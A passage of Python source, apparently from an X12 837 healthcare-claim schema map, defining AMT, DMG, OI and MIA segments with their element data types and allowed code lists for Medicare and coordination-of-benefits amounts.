Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'C4'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Coordination of Benefits (COB) Total Allowed Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'B6'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Coordination of Benefits (COB) Total Submitted Charges'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'T3'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Diagnostic Related Group (DRG) Outlier Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'ZZ'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Coordination of Benefits (COB) Total Medicare Paid Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'N1'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Medicare Paid Amount - 100%'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'KF'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Medicare Paid Amount - 80%'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'PG'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Coordination of Benefits (COB) Medicare A Trust Fund Paid Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'AA'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Coordination of Benefits (COB) Medicare B Trust Fund Paid Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'B1'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Coordination of Benefits (COB) Total Non-Covered Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'A8'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Coordination of Benefits (COB) Total Denied Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'YT'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'DMG', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'305',desc=u'Other Subscriber Demographic Information'), Element( u'DMG01', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'D8'] ) ), Element( u'DMG02', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=2, codes=[] ) ), Element( u'DMG03', Properties(desc=u'Gender Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=3, codes=[u'F', u'M', u'U'] ) ), Element( u'DMG04', Properties(desc=u'Marital Status Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=4, codes=[] ) ), Element( u'DMG05', Properties(desc=u'Race or Ethnicity Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=5, codes=[] ) ), Element( u'DMG06', Properties(desc=u'Citizenship Status Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=6, codes=[] ) ), Element( u'DMG07', Properties(desc=u'Country Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=7, codes=[] ) ), Element( u'DMG08', Properties(desc=u'Basis of Verification Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=8, codes=[] ) ), Element( u'DMG09', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=9, codes=[] ) ), ), Segment( u'OI', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'310',desc=u'Other Insurance Coverage Information'), Element( u'OI01', Properties(desc=u'Claim Filing Indicator Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=1, codes=[] ) ), Element( u'OI02', Properties(desc=u'Claim Submission Reason Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=2, codes=[] ) ), Element( u'OI03', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=3, codes=[u'N', u'Y'] ) ), Element( u'OI04', Properties(desc=u'Patient Signature Source Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=4, codes=[] ) ), Element( u'OI05', Properties(desc=u'Provider Agreement Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=5, codes=[] ) ), Element( u'OI06', Properties(desc=u'Release of Information Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=6, codes=[u'A', u'I', u'M', u'N', u'O', u'Y'] ) ), ), Segment( u'MIA', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'315',desc=u'Medicare Inpatient Adjudication Information'), Element( u'MIA01', Properties(desc=u'Quantity', req_sit=u'R', data_type=(u'R',u'1',u'15'), position=1, codes=[] ) ), Element( u'MIA02', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=2, codes=[] ) ), Element( u'MIA03', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=3, codes=[] ) ), Element( u'MIA04', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'MIA05', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=5, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MIA06', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=6, codes=[] ) ), Element( u'MIA07', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=7, codes=[] ) ), Element( u'MIA08', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=8, codes=[] ) ), Element( u'MIA09', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=9, codes=[] ) ), Element( u'MIA10', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=10, codes=[] ) ), Element( u'MIA11', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=11, codes=[] ) ), Element( u'MIA12', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=12, codes=[] ) ), Element( u'MIA13', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=13, codes=[] ) ), Element( u'MIA14', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=14, codes=[] ) ), Element( u'MIA15', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=15, codes=[] ) ), Element( u'MIA16', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=16, codes=[] ) ), Element( u'MIA17', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=17, codes=[] ) ), Element( u'MIA18', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=18, codes=[] ) ), Element( u'MIA19', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=19, codes=[] ) ), Element( u'MIA20', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=20, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MIA21', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=21, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MIA22', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=22, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', 